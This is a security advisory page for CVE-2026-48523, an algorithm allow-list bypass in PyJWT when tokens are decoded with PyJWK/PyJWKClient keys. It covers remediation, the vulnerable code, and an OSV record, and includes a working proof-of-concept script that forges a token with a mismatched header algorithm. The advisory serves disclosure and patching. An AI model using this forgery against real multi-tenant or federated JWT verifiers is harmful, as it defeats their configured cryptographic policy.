CVE-2026-48523: PyJWT Algorithm Allow-list Bypass When Decoding Vulnerability

MODERATE
Advisory Identifier: GHSA-jq35-7prp-9v3f
CVSS 5.4
CWE-347
Published
Advisory Summary

CVE-2026-48523 is a MODERATE (CVSS 5.4) algorithm allow-list bypass when decoding vulnerability (CWE-347: Improper Verification of Cryptographic Signature) affecting PyJWT libraries in the PyPI ecosystem. The issue involves algorithm allow-list bypass when decoding with `pyjwk` / `pyjwkclient` keys. Remediation is available by upgrading affected packages to version 2.13.0.

CVE-2026-48523 at a Glance

CVE Identifier CVE-2026-48523
GHSA Identifier GHSA-jq35-7prp-9v3f
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-347: Improper Verification of Cryptographic Signature
Affected Product PyJWT
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-48523

To remediate this vulnerability, upgrade all affected PyJWT dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pyjwt fixed: 2.13.0
pip install pyjwt>=2.13.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show pyjwt

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-48523, inspect your installed packages using pip:

pip show pyjwt

Analyze the terminal output to locate any version of PyJWT in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.13.0), your application is affected.

Note: The pip show pyjwt command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-347: Improper Verification of Cryptographic Signature, where the product does not verify, or incorrectly verifies, the cryptographic signature for data. In PyJWT, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

> [!NOTE] > Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug. PyJWT `2.9.0` through `2.12.1` allows a verifier-side algorithm allow-list bypass when `jwt.decode()` or `jwt.decode_complete()` are called with a `PyJWK` key. The token header `alg` is checked against the caller-supplied `algorithms` allow-list, but signature verification is performed with the algorithm bound to the `PyJWK` object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented `PyJWKClient.get_signing_key_from_jwt(...)` flow. ### Summary PyJWT's `PyJWK` verification path allows a verifier-side algorithm allow-list bypass. In affected versions, when a JWT is decoded with a `PyJWK` object, PyJWT verifies that the header `alg` string is present in the caller's `algorithms=[...]` list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the `PyJWK` object. This lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented `PyJWKClient` usage flow and does not require any non-default flags or unsafe configuration. ### Details In `jwt/api_jws.py` in `2.12.1`, `_verify_signature()` treats `PyJWK` keys differently from normal PEM/public-key inputs: ```python if algorithms is None and isinstance(key, PyJWK): algorithms = [key.algorithm_name] ... if not alg or (algorithms is not None and alg not in algorithms): raise InvalidAlgorithmError("The specified alg value is not allowed") if isinstance(key, PyJWK): alg_obj = key.Algorithm prepared_key = key.key else: alg_obj = self.get_algorithm_by_name(alg) prepared_key = alg_obj.prepare_key(key) ``` This logic means: 1. The JWT header `alg` is checked only as a string against the caller-supplied allow-list. 2. If the key is a `PyJWK`, the actual verifier is not selected from the header algorithm. 3. Instead, PyJWT always verifies with `key.Algorithm`, which is fixed when the `PyJWK` object is created. `PyJWK` binds its algorithm in `jwt/api_jwk.py` from the JWK's `alg` field or from key-type defaults: ```python if not algorithm and isinstance(self._jwk_data, dict): algorithm = self._jwk_data.get("alg", None) ... self.algorithm_name = algorithm self.Algorithm = get_default_algorithms()[algorithm] self.key = self.Algorithm.from_jwk(self._jwk_data) ``` So once a `PyJWK` is constructed, the verifier uses the `PyJWK`'s bound algorithm, not the JWT header algorithm. The issue is reachable through the documented JWKS flow. In `docs/usage.rst`, the project documents: ```python signing_key = jwks_client.get_signing_key_from_jwt(token) jwt.decode( token, signing_key, audience="https://expenses-api", options={"verify_exp": False}, algorithms=["RS256"], ) ``` `PyJWKClient.get_signing_key_from_jwt()` returns a `PyJWK`, so this documented path is affected. This is not a "no-key forgery" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as: - self-service OAuth client assertions - multi-tenant key registration - federation / BYO-JWKS trust models - any system where external parties sign JWTs with their own registered keys In those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept `PS256`, an attacker controlling an accepted RSA JWK can sign with `RS256`, set `alg=PS256` in the JWT header, and still be accepted through the `PyJWK` path. The same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to `PyJWK` verification rather than expected JWT behavior. This behavior was introduced by commit `ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1` (`Decode with PyJWK (#886)`), which is present in tagged releases `2.9.0`, `2.10.0`, `2.10.1`, `2.11.0`, `2.12.0`, and `2.12.1`. ### PoC Tested locally against PyJWT `2.12.1` on Python `3.12.10` with `cryptography 45.0.6`. Install dependencies: ```bash python -m pip install pyjwt==2.12.1 cryptography ``` Run the following script: ```python import json import jwt from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat from jwt.api_jwk import PyJWK from jwt.algorithms import RSAAlgorithm from jwt.utils import base64url_encode # Generate an RSA keypair controlled by the attacker. priv = rsa.generate_private_key(public_exponent=65537, key_size=2048) pub = priv.public_key() pub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo) # Build a PyJWK from the public key. # With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default. jwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub)) # Create a token whose protected header claims RS512. header = {"typ": "JWT", "alg": "RS512"} payload = {"sub": "alice"} header_b64 = base64url_encode( json.dumps(header, separators=(",", ":"), sort_keys=True).encode() ) payload_b64 = base64url_encode( json.dumps(payload, separators=(",", ":")).encode() ) signing_input = b".".join([header_b64, payload_b64]) # Sign the RS512-labelled token with RS256 instead. sig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv) token = b".".join([header_b64, payload_b64, base64url_encode(sig)]).decode() print("token:", token) print("PyJWK path:") print(jwt.decode(token, jwk, algorithms=["RS512"])) print("PEM path:") try: print(jwt.decode(token, pub_pem, algorithms=["RS512"])) except Exception as e: print(f"{type(e).__name__}: {e}") ``` Observed output: ```text PyJWK path: {'sub': 'alice'} PEM path: InvalidSignatureError: Signature verification failed ``` The token is accepted when the verification key is a `PyJWK`, even though: - the caller restricted allowed algorithms to `["RS512"]` - the signature was actually generated with `RS256` The same token is rejected when verified through the normal PEM/public-key path. ### Impact This is an algorithm allow-list bypass affecting `jwt.decode()` and `jwt.decode_complete()` when the verification key is a `PyJWK`, including keys returned by `PyJWKClient`. The impact depends on the deployment model: - If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited. - If attackers can legitimately control a registered key, this is exploitable. Impacted deployments include: - JWT client assertion flows where each client uses its own key - multitenant systems where tenants register JWK/JWKS material - federation-style trust models - any application that relies on `algorithms=[...]` to enforce a crypto policy against externally controlled signing keys What an attacker can do: - bypass a server-side requirement such as "only `PS256`" or "only `RS512`" - continue using a deprecated or blocked algorithm after the server thought it had disabled it - authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy What this issue does not do by itself: - it does not let an attacker forge tokens without access to a valid signing key or signing oracle - it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw

CVE-2026-48523 Affected PyJWT Versions

1 component(s)
Fixed Versions:
2.13.0
Product / Package Ecosystem Affected Versions Fixed Version
pyjwt
PyPI
≥ 2.9.0
< 2.13.0
2.13.0

References

Frequently Asked Questions

What is CVE-2026-48523?
CVE-2026-48523 is a security vulnerability in PyJWT involving Algorithm allow-list bypass when decoding with `PyJWK` / `PyJWKClient` keys under CWE-347: Improper Verification of Cryptographic Signature.
Which PyJWT versions are affected?
Affected versions include releases prior to 2.13.0 across affected packages: pyjwt.
What version fixes CVE-2026-48523?
Upgrading to 2.13.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pyjwt affected?
Yes, pyjwt is affected in releases prior to 2.13.0. Upgrade your dependency to 2.13.0 or later.
What is the CVSS score of CVE-2026-48523?
CVE-2026-48523 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N.
What CWE is associated with CVE-2026-48523?
CVE-2026-48523 is classified under CWE-347: Improper Verification of Cryptographic Signature (The product does not verify, or incorrectly verifies, the cryptographic signature for data.).
How can I check PyPI dependencies for CVE-2026-48523?
Run the dependency tree command: 'pip show pyjwt'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jq35-7prp-9v3f",
  "modified" : "2026-06-15T19:27:48Z",
  "published" : "2026-06-15T19:27:48Z",
  "aliases" : [ "CVE-2026-48523" ],
  "summary" : "PyJWT: Algorithm allow-list bypass when decoding with `PyJWK` / `PyJWKClient` keys",
  "details" : "> [!NOTE]\n> Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.\n\nPyJWT `2.9.0` through `2.12.1` allows a verifier-side algorithm allow-list bypass when `jwt.decode()` or `jwt.decode_complete()` are called with a `PyJWK` key. The token header `alg` is checked against the caller-supplied `algorithms` allow-list, but signature verification is performed with the algorithm bound to the `PyJWK` object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented `PyJWKClient.get_signing_key_from_jwt(...)` flow.\n\n### Summary\n\nPyJWT's `PyJWK` verification path allows a verifier-side algorithm allow-list bypass.\n\nIn affected versions, when a JWT is decoded with a `PyJWK` object, PyJWT verifies that the header `alg` string is present in the caller's `algorithms=[...]` list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the `PyJWK` object.\n\nThis lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented `PyJWKClient` usage flow and does not require any non-default flags or unsafe configuration.\n\n### Details\n\nIn `jwt/api_jws.py` in `2.12.1`, `_verify_signature()` treats `PyJWK` keys differently from normal PEM/public-key inputs:\n\n```python\nif algorithms is None and isinstance(key, PyJWK):\n    algorithms = [key.algorithm_name]\n\n...\n\nif not alg or (algorithms is not None and alg not in algorithms):\n    raise InvalidAlgorithmError(\"The specified alg value is not allowed\")\n\nif isinstance(key, PyJWK):\n    alg_obj = key.Algorithm\n    prepared_key = key.key\nelse:\n    alg_obj = self.get_algorithm_by_name(alg)\n    prepared_key = alg_obj.prepare_key(key)\n```\n\nThis logic means:\n\n1. The JWT header `alg` is checked only as a string against the caller-supplied allow-list.\n2. If the key is a `PyJWK`, the actual verifier is not selected from the header algorithm.\n3. Instead, PyJWT always verifies with `key.Algorithm`, which is fixed when the `PyJWK` object is created.\n\n`PyJWK` binds its algorithm in `jwt/api_jwk.py` from the JWK's `alg` field or from key-type defaults:\n\n```python\nif not algorithm and isinstance(self._jwk_data, dict):\n    algorithm = self._jwk_data.get(\"alg\", None)\n\n...\n\nself.algorithm_name = algorithm\nself.Algorithm = get_default_algorithms()[algorithm]\nself.key = self.Algorithm.from_jwk(self._jwk_data)\n```\n\nSo once a `PyJWK` is constructed, the verifier uses the `PyJWK`'s bound algorithm, not the JWT header algorithm.\n\nThe issue is reachable through the documented JWKS flow. In `docs/usage.rst`, the project documents:\n\n```python\nsigning_key = jwks_client.get_signing_key_from_jwt(token)\njwt.decode(\n    token,\n    signing_key,\n    audience=\"https://expenses-api\",\n    options={\"verify_exp\": False},\n    algorithms=[\"RS256\"],\n)\n```\n\n`PyJWKClient.get_signing_key_from_jwt()` returns a `PyJWK`, so this documented path is affected.\n\nThis is not a \"no-key forgery\" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:\n\n- self-service OAuth client assertions\n- multi-tenant key registration\n- federation / BYO-JWKS trust models\n- any system where external parties sign JWTs with their own registered keys\n\nIn those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept `PS256`, an attacker controlling an accepted RSA JWK can sign with `RS256`, set `alg=PS256` in the JWT header, and still be accepted through the `PyJWK` path.\n\nThe same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to `PyJWK` verification rather than expected JWT behavior.\n\nThis behavior was introduced by commit `ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1` (`Decode with PyJWK (#886)`), which is present in tagged releases `2.9.0`, `2.10.0`, `2.10.1`, `2.11.0`, `2.12.0`, and `2.12.1`.\n\n### PoC\n\nTested locally against PyJWT `2.12.1` on Python `3.12.10` with `cryptography 45.0.6`.\n\nInstall dependencies:\n\n```bash\npython -m pip install pyjwt==2.12.1 cryptography\n```\n\nRun the following script:\n\n```python\nimport json\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\nfrom jwt.api_jwk import PyJWK\nfrom jwt.algorithms import RSAAlgorithm\nfrom jwt.utils import base64url_encode\n\n# Generate an RSA keypair controlled by the attacker.\npriv = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub = priv.public_key()\npub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\n\n# Build a PyJWK from the public key.\n# With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.\njwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))\n\n# Create a token whose protected header claims RS512.\nheader = {\"typ\": \"JWT\", \"alg\": \"RS512\"}\npayload = {\"sub\": \"alice\"}\n\nheader_b64 = base64url_encode(\n    json.dumps(header, separators=(\",\", \":\"), sort_keys=True).encode()\n)\npayload_b64 = base64url_encode(\n    json.dumps(payload, separators=(\",\", \":\")).encode()\n)\nsigning_input = b\".\".join([header_b64, payload_b64])\n\n# Sign the RS512-labelled token with RS256 instead.\nsig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)\ntoken = b\".\".join([header_b64, payload_b64, base64url_encode(sig)]).decode()\n\nprint(\"token:\", token)\nprint(\"PyJWK path:\")\nprint(jwt.decode(token, jwk, algorithms=[\"RS512\"]))\n\nprint(\"PEM path:\")\ntry:\n    print(jwt.decode(token, pub_pem, algorithms=[\"RS512\"]))\nexcept Exception as e:\n    print(f\"{type(e).__name__}: {e}\")\n```\n\nObserved output:\n\n```text\nPyJWK path:\n{'sub': 'alice'}\nPEM path:\nInvalidSignatureError: Signature verification failed\n```\n\nThe token is accepted when the verification key is a `PyJWK`, even though:\n\n- the caller restricted allowed algorithms to `[\"RS512\"]`\n- the signature was actually generated with `RS256`\n\nThe same token is rejected when verified through the normal PEM/public-key path.\n\n### Impact\n\nThis is an algorithm allow-list bypass affecting `jwt.decode()` and `jwt.decode_complete()` when the verification key is a `PyJWK`, including keys returned by `PyJWKClient`.\n\nThe impact depends on the deployment model:\n\n- If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited.\n- If attackers can legitimately control a registered key, this is exploitable.\n\nImpacted deployments include:\n\n- JWT client assertion flows where each client uses its own key\n- multitenant systems where tenants register JWK/JWKS material\n- federation-style trust models\n- any application that relies on `algorithms=[...]` to enforce a crypto policy against externally controlled signing keys\n\nWhat an attacker can do:\n\n- bypass a server-side requirement such as \"only `PS256`\" or \"only `RS512`\"\n- continue using a deprecated or blocked algorithm after the server thought it had disabled it\n- authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy\n\nWhat this issue does not do by itself:\n\n- it does not let an attacker forge tokens without access to a valid signing key or signing oracle\n- it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pyjwt"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.9.0"
      }, {
        "fixed" : "2.13.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jq35-7prp-9v3f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-48523"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jpadilla/pyjwt"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-176.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-347" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-15T19:27:48Z",
    "nvd_published_at" : "2026-05-28T16:16:29Z"
  }
}